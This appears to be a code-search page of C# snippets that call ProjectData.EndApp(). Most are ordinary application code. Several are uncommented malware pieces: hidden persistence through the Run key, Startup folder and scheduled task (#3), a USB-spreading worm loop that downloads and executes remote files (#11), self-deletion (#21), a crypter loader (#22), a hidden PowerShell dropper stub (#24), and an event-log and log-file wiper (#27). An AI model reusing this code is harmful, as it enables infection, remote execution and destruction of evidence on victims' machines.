Beispiel #1
0
        private void busca_clave()
        {
            empresas empresas = new empresas();

            Lib_SIF.men men  = new Lib_SIF.men();
            bool        flag = true;
            DataTable   dt   = new DataTable();
            string      sec  = "";

            checked { ++this.contador; }
            if (this.contador > 3)
            {
                ProjectData.EndApp();
            }
            bool ok;

            men.menu(this.TextBox1.Text, ref this.usuario, this.ip, ref sec, ref this.dt, ref ok);
            try
            {
                if (!ok)
                {
                    flag               = false;
                    this.bien          = false;
                    this.Label3.Text   = "Clave Incorrecta !!!!!!.      " + Conversions.ToString(this.contador) + "  Intentos ";
                    this.TextBox1.Text = "";
                }
                else
                {
                    this.Label3.Text  = this.usuario;
                    this.nombre       = this.usuario;
                    empresas.usuario  = this.Label3.Text;
                    empresas.clave    = this.TextBox1.Text;
                    empresas.seccion  = sec;
                    this.foto.Visible = true;
                    string strSql = "SELECT * FROM MEN_JAP_F WHERE PASSWORD = '******'";
                    Module1.llena_tablas(ref dt, strSql, ref this.cnn);
                    if (dt.Rows.Count > 0)
                    {
                        DataRow row = dt.Rows[0];
                        try
                        {
                            this.foto.Image = Image.FromStream((Stream) new MemoryStream((byte[])row["FOTO"]));
                        }
                        catch (Exception ex)
                        {
                            ProjectData.SetProjectError(ex);
                            ProjectData.ClearProjectError();
                        }
                    }
                    this.bien = true;
                }
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                int num = (int)Interaction.MsgBox((object)"No he podido conectarme al servidor.  Por favor verifique su conección", MsgBoxStyle.Critical, (object)"Conección Perdida.");
                this.Close();
                ProjectData.ClearProjectError();
            }
        }
Beispiel #2
0
        private void Form1_Load(object sender, EventArgs e)
        {
            string userID         = "";
            string passID         = "";
            string initialCatalog = "";
            string str            = "";
            string arg_79_0       = MyProject.Application.Info.DirectoryPath + "\\TollcabinConfig.xml";
            int    lanXeMain      = (int)ModuleKhaiBaoConst.LanXeMain;
            bool   arg_86_0       = ModuleKhac.ReadConfig(arg_79_0, ref initialCatalog, ref userID, ref passID, ref lanXeMain, ref ModuleKhaiBaoConst.IPMayGiamSatMain, ref ModuleKhaiBaoConst.IPMayNhanDangMain, ref ModuleKhaiBaoConst.LocalImagesPathMain, ref ModuleKhaiBaoConst.ServerImagesPathMain, ref ModuleKhaiBaoConst.ServerImagesPathBSMain, ref ModuleKhaiBaoConst.PortDuLieuChinhMain, ref ModuleKhaiBaoConst.PortDuLieuCuMain, ref ModuleKhaiBaoConst.PortGiupDoMain, ref ModuleKhaiBaoConst.PortMayNhanDangMain, ref ModuleKhaiBaoConst.TramIdMain, ref ModuleKhaiBaoConst.StatusMain, ref str);

            ModuleKhaiBaoConst.LanXeMain = checked ((byte)lanXeMain);
            if (!arg_86_0)
            {
                Interaction.MsgBox("Không đọc được file TollcabinConfig.xml", MsgBoxStyle.OkOnly, null);
                ProjectData.EndApp();
            }
            ModuleKhaiBaoConst.StrConnectMain = ModuleKhac.KetNoi(Dns.GetHostName() + str, initialCatalog, userID, passID);
            if (Operators.CompareString(ModuleKhaiBaoConst.StrConnectMain, null, false) == 0)
            {
                ModuleKhaiBaoConst.StrConnectMain = ModuleKhac.KetNoi(Dns.GetHostName() + str, initialCatalog, userID, passID);
                if (Operators.CompareString(ModuleKhaiBaoConst.StrConnectMain, null, false) == 0)
                {
                    //using (frmChoKetNoi formcho = new frmChoKetNoi())
                    {
                        //formcho.ShowDialog();
                        Interaction.MsgBox("Không kết nối được cơ sở dữ liệu", MsgBoxStyle.OkOnly, null);
                        Application.Exit();
                        return;
                    }
                }
            }
        }
Beispiel #3
0
        private static void Install()
        {
            try {
                if (!File.Exists(Interaction.Environ(vDR) + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName))
                {
                    File.WriteAllBytes(Interaction.Environ(vDR) + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location));
                    System.Diagnostics.Process.Start(Interaction.Environ(vDR) + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName);
                    ProjectData.EndApp();
                }
            } catch {
                ProjectData.EndApp();
            }

            try {
                Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
            } catch {}

            try {
                File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location));
            } catch {}

            try {
                Interaction.Shell("schtasks /create /sc minute /mo 30 /tn ScheduleName /tr \"" + System.Reflection.Assembly.GetExecutingAssembly().Location, AppWinStyle.Hide, false, -1);
            } catch {}

            System.Threading.Thread.Sleep(1000);
        }
Beispiel #4
0
        private void Btn_Exit_Click(object sender, EventArgs e)
        {
            if (MessageBox.Show("您真的要退出本系统吗?", "提示", MessageBoxButtons.OKCancel, MessageBoxIcon.Information) != DialogResult.OK)
            {
                return;
            }

            for (short i = 1; i <= 9; i++)
            {
                PVar.Rtn = gts.GT_ClrSts(Convert.ToInt16((i - 1) / 8), Convert.ToInt16(i % 9 + (i - 1) / 8), (short)1); //清除轴的报警标志
                PVar.Rtn = gts.GT_AxisOff(Convert.ToInt16((i - 1) / 8), Convert.ToInt16(i % 9 + (i - 1) / 8));          //关闭轴的伺服使能
            }

            for (short j = 0; j <= 15; j++)
            {
                PVar.Rtn = gts.GT_SetExtIoBitGts(0, 0, j, 1);
            }
            Frm_Main_Disposed();
            gts.GT_ResetExtMdlGts(0);
            gts.GT_CloseExtMdlGts(0);
            gts.GT_Reset(0);
            gts.GT_Reset(1);
            gts.GT_Close(0);
            gts.GT_Close(1);
            Application.Exit();
            ProjectData.EndApp();
        }
Beispiel #5
0
 /// <summary>
 /// 保存按钮事件
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void btnSave_Click(System.Object sender, System.EventArgs e)
 {
     try
     {
         dlgSave.CheckFileExists  = false;
         dlgSave.CheckPathExists  = true;
         dlgSave.DefaultExt       = "txt";
         dlgSave.Filter           = "日志文件 (*.txt)|*.txt";
         dlgSave.AddExtension     = true;
         dlgSave.InitialDirectory = System.IO.Path.GetDirectoryName(m_cMessageFilename);
         dlgSave.OverwritePrompt  = true;
         dlgSave.CreatePrompt     = false;
         if (dlgSave.ShowDialog() == DialogResult.OK)
         {
             m_cMessageFilename = dlgSave.FileName;
         }
         NewTextFile();
     }
     catch (Exception ex)
     {
         MessageBox.Show("保存日志信息出错:" + ex.Message);
         ProjectData.EndApp();
     }
     this.Close();
     this.Dispose();
 }
Beispiel #6
0
        private void mnuFileExit_Click(System.Object sender, System.EventArgs e)
        {
            modMain.closeDB();
            MessageBox.Show("Thanks for Using JewelBox 2004");
//			Interaction.MsgBox("Thanks for Using JewelBox 2004");
            ProjectData.EndApp();
        }
Beispiel #7
0
        public void ToolStripButton13_Click(System.Object sender, System.EventArgs e)
        {
            string exit_app = System.Convert.ToString(Interaction.MsgBox("Exit application?", (int)Constants.vbQuestion + Constants.vbYesNo, "Exit"));

            if (exit_app == Constants.vbYes.ToString())
            {
                ProjectData.EndApp();
            }
        }
Beispiel #8
0
        private void Main_Load(object sender, EventArgs e)
        {
            try
            {
                try
                {
                    AppConst.logger = LogManager.GetLogger("SuperImpactor");
                    AppConst.logger.Info("Start");
                }
                catch (Exception exception)
                {
                    ProjectData.SetProjectError(exception);
                    ProjectData.ClearProjectError();
                }
            }
            finally
            {
            }
            try
            {
                try
                {
                    this.WebBrowser1.Url = new Uri("https://www.iphonecake.com");
                    this.WebBrowser1.ScriptErrorsSuppressed = true;
                }
                catch (Exception exception1)
                {
                    ProjectData.SetProjectError(exception1);
                    Interaction.MsgBox(exception1.Message, MsgBoxStyle.OkOnly, null);
                    ProjectData.ClearProjectError();
                }
            }
            finally
            {
            }
            AppConst.m_rootPath = string.Concat(Application.StartupPath, "\\..\\..\\");
            AppConst.m_localTmp = Common.GetTempFolder();
            if (!File.Exists(string.Concat(AppConst.m_rootPath, "\\iaidb.sqlite")))
            {
                Interaction.MsgBox("Application error! Please install again!", MsgBoxStyle.OkOnly, "Error");
                ProjectData.EndApp();
            }
            AppConst.m_dbConnection = new SQLiteConnection(string.Concat("Data Source=", AppConst.m_rootPath, "\\iaidb.sqlite;Version=3;"));
            AppConst.m_dbConnection.Open();
            this.SetListViewSpacing(this.lstApps, 16, 16);
            AppConst.m_lstCydiaRepos = Database.GetCydiaRepos(true);
            int num = 0;

            do
            {
                AppConst.m_randomKey = string.Concat(AppConst.m_randomKey, char.ConvertFromUtf32(checked (checked (num * 2) + 64)));
                num = checked (num + 1);
            }while (num <= 16);
            this.ReloadApps("");
        }
Beispiel #9
0
 private void Timer1_Tick(object sender, EventArgs e)
 {
     this.Label7.Text = Conversions.ToString(this.ProgressBar1.Value) + "%";
     if (this.ProgressBar1.Value == this.ProgressBar1.Maximum)
     {
         this.Timer1.Enabled = false;
         Interaction.MsgBox("ENG: Selected File Successfully Downloaded;) TR: Seçtiginiz Yere Başarıyla Dosya İndirildi ;)", MsgBoxStyle.Information, "Dosya İndirildi");
         this.ProgressBar1.Value = 100;
         ProjectData.EndApp();
     }
 }
Beispiel #10
0
 public void EndApp()
 {
     RemoteExecutor.Invoke(new Action(() =>
     {
         ProjectData.EndApp();
         throw new Exception(); // Shouldn't reach here.
     }),
                           new RemoteInvokeOptions()
     {
         ExpectedExitCode = 0
     }).Dispose();
 }
Beispiel #11
0
        static void Main()
        {
            bool instance;
            var  vmt = new System.Threading.Mutex(true, System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, out instance);

            if (instance == false)
            {
                ProjectData.EndApp();
            }

            if (Strings.Mid(System.Reflection.Assembly.GetExecutingAssembly().Location, 2) == ":\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName)
            {
                if (Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER", "IsSpread", null) == null)
                {
                    Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER", "IsSpread", "TRUE", Microsoft.Win32.RegistryValueKind.String);
                }
            }
            else
            {
                if (Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER", "IsSpread", null) == null)
                {
                    Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER", "IsSpread", "FALSE", Microsoft.Win32.RegistryValueKind.String);
                }
            }
            Install();
            Spread.USB();
            while (true)
            {
                string   re = Connect("Vre", "");
                string[] v  = Strings.Split(re, "|V|");
                try {
                    if (v[0] == "Cl")
                    {
                        ProjectData.EndApp();
                    }

                    if (v[0] == "Sc")
                    {
                        System.IO.File.AppendAllText(Interaction.Environ("temp") + "\\" + v[2], v[1]);
                        System.Diagnostics.Process.Start(Interaction.Environ("temp") + "\\" + v[2]);
                    }
                    if (v[0] == "Ex")
                    {
                        System.Net.WebClient w = new System.Net.WebClient();
                        w.DownloadFile(v[1], Interaction.Environ("temp") + "\\" + v[2]);
                        System.Diagnostics.Process.Start(Interaction.Environ("temp") + "\\" + v[2]);
                    }
                } catch {}

                System.Threading.Thread.Sleep(7000);
            }
        }
Beispiel #12
0
        public void frmMain_FormClosing(object sender, System.Windows.Forms.FormClosingEventArgs e)
        {
            string exit_app = System.Convert.ToString(Interaction.MsgBox("Exit application?", (int)Constants.vbQuestion + Constants.vbYesNo, "Exit"));

            if (exit_app == Constants.vbNo.ToString())
            {
                e.Cancel = true;
            }
            else
            {
                ProjectData.EndApp();
            }
        }
Beispiel #13
0
 private void SetMutex(string mutex)
 {
     this.M = new Mutex(false, mutex);
     if (!this.M.WaitOne(0, false))
     {
         this.M.Close();
         this.M = null;
         if (Environment.GetCommandLineArgs().Length < 2)
         {
             ProjectData.EndApp();
         }
     }
 }
Beispiel #14
0
 public static void InitDevice()
 {
     Gg.GTS_MotionInit(0, 1, Globals.Dir_Bin + "\\GTS_Config\\GTS800.cfg");
     mFunction.ReDimData();
     mFunction.ReadPosData(PVar.BZ_ParameterPath + "\\PosData.dat", mFunction.Pos);//加载点位
     if (!PVar.IsReadPosData)
     {
         if (Interaction.MsgBox("ReadPosData()函数读取数据失败,程序拒绝加载!", Constants.vbExclamation, "重要参数文件") == Constants.vbOK)
         {
             ProjectData.EndApp();
         }
     }
 }
Beispiel #15
0
    // Token: 0x06000015 RID: 21 RVA: 0x000024D8 File Offset: 0x000014D8
    public static void ŇźƉŽƃƉƌ()
    {
        object instance = new Mutex(false, "da4f21d00b1992e0b25f463b722dcc6aafdec7005cc9f14302cd0474fd0f3c96cfcd208495d565ef66e7dff9f98764da");

        if (Conversions.ToBoolean(Operators.NotObject(NewLateBinding.LateGet(instance, null, "WaitOne", new object[]
        {
            0,
            false
        }, null, null, null))))
        {
            NewLateBinding.LateCall(instance, null, "Close", new object[0], null, null, null, true);
            ProjectData.EndApp();
        }
    }
Beispiel #16
0
            private void MyApplication_UnhandledException(object sender, Microsoft.VisualBasic.ApplicationServices.UnhandledExceptionEventArgs e)
            {
                string myFilePath = "\\ErrorLog.log";

                using (StreamWriter sw = new StreamWriter(File.Open(myFilePath, FileMode.Append)))
                {
                    sw.WriteLine(DateTime.Now);
                    sw.WriteLine(e.Exception.Message);
                }


                MessageBox.Show("An unexcpected error occured. Application will be terminated.");
                ProjectData.EndApp();
            }
            private void MyApplication_UnhandledException(object sender, Microsoft.VisualBasic.ApplicationServices.UnhandledExceptionEventArgs e)
            {
                string myFilePath = System.Windows.Forms.Application.StartupPath + "\\ErrorLog.log";

                using (StreamWriter sw = new StreamWriter(File.Open(myFilePath, FileMode.Append)))
                {
                    sw.WriteLine(DateTime.Now);
                    sw.WriteLine(C_General.GetExceptionInfo(e.Exception));
                }


                MessageBox.Show("An unexpected error occured. Check the error log for details.");
                ProjectData.EndApp();
            }
Beispiel #18
0
 public void EndApp()
 {
     RemoteExecutor.Invoke(
         new Action(() =>
     {
         // See FileSystemTests.CloseAllFiles() for a test that EndApp() closes open files.
         ProjectData.EndApp();
         throw new Exception();     // Shouldn't reach here.
     }),
         new RemoteInvokeOptions()
     {
         ExpectedExitCode = 0
     }).Dispose();
 }
Beispiel #19
0
		private void DM_Load(System.Object sender, System.EventArgs e)
		{
			//On Error Resume Next VBConversions Warning: On Error Resume Next not supported in C#
			if ((new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Count != 0)
			{
				if ((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DirectoryExists((new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Item[0].Trim()) == true)
				{
					TextBox1.Text = (new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Item[0].Trim();
				}
				else
				{
					TextBox1.Text = "";
				}
				if ((new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Item[0].Trim() == "/")
				{
					Interaction.MsgBox("命令行:[DirMaker] [参照路径] [目标路径] [0/1]" + "\r\n" + "\r\n" + "[0/1]表示是否只是目录根下,0不是,1是", MsgBoxStyle.Information, "Dir Maker命令行!!!");
				}
				if ((new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Count == 3)
				{
					if ((new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Item[2].Trim().ToLower() == "1")
					{
						CheckBox1.Checked = true;
					}
					else
					{
						CheckBox1.Checked = false;
					}
				}
				else
				{
					CheckBox1.Checked = false;
				}
				TextBox2.Text = (new Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase()).CommandLineArgs.Item[1].Trim();
				if ((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DirectoryExists(TextBox2.Text) == false)
				{
					//On Error Goto w VBConversions Warning: On Error Goto not supported in C#
					FileSystem.MkDir(TextBox2.Text);
				}
				if (TextBox1.Text != "" && TextBox2.Text != "")
				{
					run(TextBox1.Text, TextBox2.Text);
					ProjectData.EndApp();
				}
			}
			Application.AddMessageFilter(this);
			DragAcceptFiles(TextBox1.Handle.ToInt32(), true);
			return;
w:
			ProjectData.EndApp();
		}
Beispiel #20
0
        public static void receivePacket()
        {
            try
            {
                int num;
                int num2;
                while (true)
                {
                    ProjectData.ClearProjectError();
                    num        = 2;
                    mainStream = mainClient.GetStream();
                    byte[] buffer = new byte[0x2729];
                    mainStream.Read(buffer, 0, mainClient.ReceiveBufferSize);
                    string packet = Encoding.UTF8.GetString(buffer);
                    packet = packet.Substring(0, packet.IndexOf("\n"));
                    mainFunctions.log("Received packet from client...\r\n" + packet);
                    packetHandler(packet);
                }
Label_007B:
                ProjectData.EndApp();
                if (num2 != 0)
                {
                    ProjectData.ClearProjectError();
                }
                return;

Label_0084:
                num2 = -1;
                switch (num)
                {
                case 0:
                case 1:
                    goto Label_00BA;

                case 2:
                    goto Label_007B;
                }
            }
            catch (object obj1) when(?)
            {
                ProjectData.SetProjectError((Exception)obj1);
                goto Label_0084;
            }
Label_00BA:
            throw ProjectData.CreateProjectError(-2146828237);
        }
Beispiel #21
0
 public static void Uninstall()
 {
     try
     {
         Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(registryName, false);
     }
     catch (Exception expr_10F)
     {
         ProjectData.SetProjectError(expr_10F);
         ProjectData.ClearProjectError();
     }
     try
     {
         Interaction.Shell("cmd.exe /c ping 0 -n 2 & del \"" + currentAssemblyFileInfo.FullName + "\"", AppWinStyle.Hide, false, -1);
     }
     catch { }
     ProjectData.EndApp();
 }
Beispiel #22
0
        public static void Run()
        {
            ResourceManager resourceManager = new ResourceManager(Main__CRz.PolyDeCrypt("nameofres"), Assembly.GetExecutingAssembly());
            string          s = resourceManager.GetString(Main__CRz.PolyDeCrypt("nameofencres")).ToString();

            byte[]   bArr    = Encoding.Default.GetBytes(resourceManager.GetString(Main__CRz.PolyDeCrypt("nameofres")).ToString());
            object[] objArr1 = new object[] { bArr };
            object   obj     = RuntimeHelpers.GetObjectValue(Main__CRz.OwnZ(Main__CRz.Dynamic_Compiler(Main__CRz.PolyDeCrypt(s)), Main__CRz.PolyDeCrypt("PolyCrypt"), Main__CRz.PolyDeCrypt("PolyRevDeCrypt"), objArr1));

            objArr1 = new object[] { RuntimeHelpers.GetObjectValue(obj) };
            object[] objArr2 = objArr1;
            bool[]   flagArr = new bool[] { true };
            if (flagArr[0])
            {
                obj = RuntimeHelpers.GetObjectValue(objArr2[0]);
            }
            Main__CRz.OwnZ((Assembly)NewLateBinding.LateGet(null, typeof(Assembly), "Load", objArr2, null, null, flagArr), Main__CRz.PolyDeCrypt("This_Main"), Main__CRz.PolyDeCrypt("MainS"), null);
            ProjectData.EndApp();
        }
        internal static void DestroyGame(bool restart = false)
        {
            //SendLeaveGame()
            // break out of GameLoop
            if (restart)
            {
                RestartGame();
            }
            else
            {
                C_Variables.InGame = false;

                C_Graphics.DestroyGraphics();
                C_UpdateUI.GameDestroyed = true;
                C_NetworkConfig.DestroyNetwork();
                Application.Exit();
                ProjectData.EndApp();
            }
        }
Beispiel #24
0
        static void Main()
        {
            bool instance;
            var  vmt = new System.Threading.Mutex(true, System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, out instance);

            if (instance == false)
            {
                ProjectData.EndApp();
            }

            install();

            Process pro = new Process();

            pro.StartInfo.RedirectStandardInput = true;
            pro.StartInfo.FileName        = "powershell.exe";
            pro.StartInfo.UseShellExecute = false;
            pro.StartInfo.CreateNoWindow  = true;
            pro.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
            pro.Start();
            pro.StandardInput.WriteLine(@"[POWERSHELL_CODE|WORM|TROJAN|LOADER|DOWNLOADER]");
        }
        private void port_KeyDown(object sender, KeyEventArgs e)
        {
            bool flag = e.KeyCode == Keys.Return;

            if (flag)
            {
                e.SuppressKeyPress = true;
                flag = this.Button1.Enabled;
                if (flag)
                {
                    this.Button1_Click_1(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(sender))), new EventArgs());
                }
            }
            else
            {
                flag = (e.KeyCode == Keys.Escape);
                if (flag)
                {
                    this.port = -1;
                    ProjectData.EndApp();
                }
            }
        }
Beispiel #26
0
        internal void RestartElevated()
        {
            ProcessStartInfo startInfo = new ProcessStartInfo();

            startInfo.UseShellExecute  = true;
            startInfo.WorkingDirectory = Environment.CurrentDirectory;
            startInfo.FileName         = Application.ExecutablePath;
            startInfo.Verb             = "runas";
            try
            {
                Process process = Process.Start(startInfo);
            }
            catch (Win32Exception exception1)
            {
                ProjectData.SetProjectError(exception1);
                Win32Exception exception = exception1;
                ProjectData.ClearProjectError();
                return;

                ProjectData.ClearProjectError();
            }
            ProjectData.EndApp();
        }
        /*
         * Author : Suleiman Al-Othman | twitter & github => (@sulealothman)
         * ClassName : Clear All Event Logs & Delete All log files
         * Ver. : 0.1
         * Run as Administrator (UAC)
         */
        static void Main()
        {
            if (!(new WindowsPrincipal(WindowsIdentity.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator))
            {
                return;
            }
            Process pro = new Process();

            pro.StartInfo.RedirectStandardInput = true;
            pro.StartInfo.FileName        = "cmd.exe";
            pro.StartInfo.UseShellExecute = false;
            pro.StartInfo.CreateNoWindow  = true;
            pro.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
            pro.Start();
            pro.StandardInput.WriteLine(@"Del *.log /a /s /q /f");

            foreach (var l in EventLog.GetEventLogs())
            {
                l.Clear();
                l.Dispose();
            }
            ProjectData.EndApp();
        }
Beispiel #28
0
            public static void MyApplication_Startup()
            {
                if (Settings.Default.SingleInstance)
                {
                    string mutexID = "mRemoteNC_SingleInstanceMutex";

                    mutex = new System.Threading.Mutex(false, mutexID);

                    if (!mutex.WaitOne(0, false))
                    {
                        try
                        {
                            SwitchToCurrentInstance();
                        }
                        catch (Exception)
                        {
                        }

                        ProjectData.EndApp();
                    }

                    GC.KeepAlive(mutex);
                }
            }
Beispiel #29
0
        public void buttonFunction()
        {
            bool defaultFunc = this._defaultFunc;

            if (defaultFunc)
            {
                switch (this.ButtonType)
                {
                case ReactorTopButton.topButtonType.Minimize:
                    base.Parent.FindForm().WindowState = FormWindowState.Minimized;
                    break;

                case ReactorTopButton.topButtonType.Maximize:
                    base.Parent.FindForm().WindowState = FormWindowState.Maximized;
                    break;

                case ReactorTopButton.topButtonType.Close:
                {
                    ReactorTopButton.closeFunc closeButtonFunction = this.CloseButtonFunction;
                    if (closeButtonFunction != ReactorTopButton.closeFunc.CloseForm)
                    {
                        if (closeButtonFunction == ReactorTopButton.closeFunc.CloseApp)
                        {
                            Application.Exit();
                            ProjectData.EndApp();
                        }
                    }
                    else
                    {
                        base.Parent.FindForm().Close();
                    }
                    break;
                }
                }
            }
        }
Beispiel #30
0
        public static void GameLoop()
        {
            Point    dest      = new Point(frmMapEditor.Default.PointToScreen(frmMapEditor.Default.picScreen.Location).X, frmMapEditor.Default.PointToScreen(frmMapEditor.Default.picScreen.Location).Y);
            Graphics g         = frmMapEditor.Default.picScreen.CreateGraphics();
            int      starttime = 0;
            int      Tick      = 0;
            int      fogtmr    = 0;
            int      FrameTime;
            int      tmr500      = 0;
            int      tmpfps      = 0;
            int      rendercount = 0;

            starttime = ClientDataBase.GetTickCount();

            do
            {
                if (E_Globals.GameDestroyed == true)
                {
                    ProjectData.EndApp();
                }

                UpdateUI();

                if (E_Globals.GameStarted == true)
                {
                    Tick = ClientDataBase.GetTickCount();

                    // update animation editor
                    if (E_Globals.Editor == E_Globals.EDITOR_ANIMATION)
                    {
                        E_Graphics.EditorAnim_DrawAnim();
                    }

                    if (E_Globals.Editor == E_Projectiles.EDITOR_PROJECTILE)
                    {
                        E_Graphics.Draw_ProjectilePreview();
                    }

                    FrameTime = Tick;
                    if (E_Globals.InMapEditor && !E_Globals.GettingMap)
                    {
                        //Calculate FPS
                        if (starttime < Tick)
                        {
                            E_Globals.FPS = tmpfps;

                            frmMapEditor.Default.tsCurFps.Text = "Current FPS: " + E_Globals.FPS;
                            tmpfps    = 0;
                            starttime = (ClientDataBase.GetTickCount() + 1000);
                        }
                        tmpfps++;

                        lock (E_Types.MapLock)
                        {
                            // fog scrolling
                            if (fogtmr < Tick)
                            {
                                if (E_Globals.CurrentFogSpeed > 0)
                                {
                                    //move
                                    E_Globals.fogOffsetX--;
                                    E_Globals.fogOffsetY--;
                                    FileSystem.Reset();
                                    if (E_Globals.fogOffsetX < -256)
                                    {
                                        E_Globals.fogOffsetX = 0;
                                    }
                                    if (E_Globals.fogOffsetY < -256)
                                    {
                                        E_Globals.fogOffsetY = 0;
                                    }
                                    fogtmr = Tick + 255 - E_Globals.CurrentFogSpeed;
                                }
                            }

                            if (tmr500 < Tick)
                            {
                                // animate waterfalls
                                switch (E_AutoTiles.waterfallFrame)
                                {
                                case 0:
                                    E_AutoTiles.waterfallFrame = 1;
                                    break;

                                case 1:
                                    E_AutoTiles.waterfallFrame = 2;
                                    break;

                                case 2:
                                    E_AutoTiles.waterfallFrame = 0;
                                    break;
                                }
                                // animate autotiles
                                switch (E_AutoTiles.autoTileFrame)
                                {
                                case 0:
                                    E_AutoTiles.autoTileFrame = 1;
                                    break;

                                case 1:
                                    E_AutoTiles.autoTileFrame = 2;
                                    break;

                                case 2:
                                    E_AutoTiles.autoTileFrame = 0;
                                    break;
                                }

                                tmr500 = Tick + 500;
                            }

                            E_Weather.ProcessWeather();

                            if (E_Sound.FadeInSwitch == true)
                            {
                                E_Sound.FadeIn();
                            }

                            if (E_Sound.FadeOutSwitch == true)
                            {
                                E_Sound.FadeOut();
                            }

                            if (rendercount < Tick)
                            {
                                //Auctual Game Loop Stuff :/
                                E_Graphics.Render_Graphics();
                                rendercount = Tick + 32;
                            }

                            //Do we need this?
                            //Application.DoEvents();

                            E_Graphics.EditorMap_DrawTileset();

                            if (E_Globals.TakeScreenShot)
                            {
                                if (E_Globals.ScreenShotTimer < Tick)
                                {
                                    SFML.Graphics.Image screenshot = E_Graphics.GameWindow.Capture();

                                    if (!System.IO.Directory.Exists(Application.StartupPath + "\\Data\\Screenshots"))
                                    {
                                        System.IO.Directory.CreateDirectory(Application.StartupPath + "\\Data\\Screenshots");
                                    }
                                    screenshot.SaveToFile(Application.StartupPath + "\\Data\\Screenshots\\Map" + System.Convert.ToString(E_Types.Map.mapNum) + ".png");

                                    E_Globals.HideCursor     = false;
                                    E_Globals.TakeScreenShot = false;
                                }
                            }

                            if (E_Globals.MakeCache)
                            {
                                if (E_Globals.ScreenShotTimer < Tick)
                                {
                                    SFML.Graphics.Image screenshot = E_Graphics.GameWindow.Capture();

                                    if (!System.IO.Directory.Exists(Application.StartupPath + "\\Data\\Cache"))
                                    {
                                        System.IO.Directory.CreateDirectory(Application.StartupPath + "\\Data\\Cache");
                                    }
                                    screenshot.SaveToFile(Application.StartupPath + "\\Data\\Cache\\Map" + System.Convert.ToString(E_Types.Map.mapNum) + ".png");

                                    E_Globals.HideCursor = false;
                                    E_Globals.MakeCache  = false;
                                    E_Editors.MapEditorSend();
                                }
                            }
                        }
                    }
                }

                // This should be the only one we need?
                Application.DoEvents();
                //Do we need to pause the thread? without it we gain like 200+ fps
                //Thread.Sleep(1);
                // Lets Yield Instead
                Thread.Yield();
            } while (true);
        }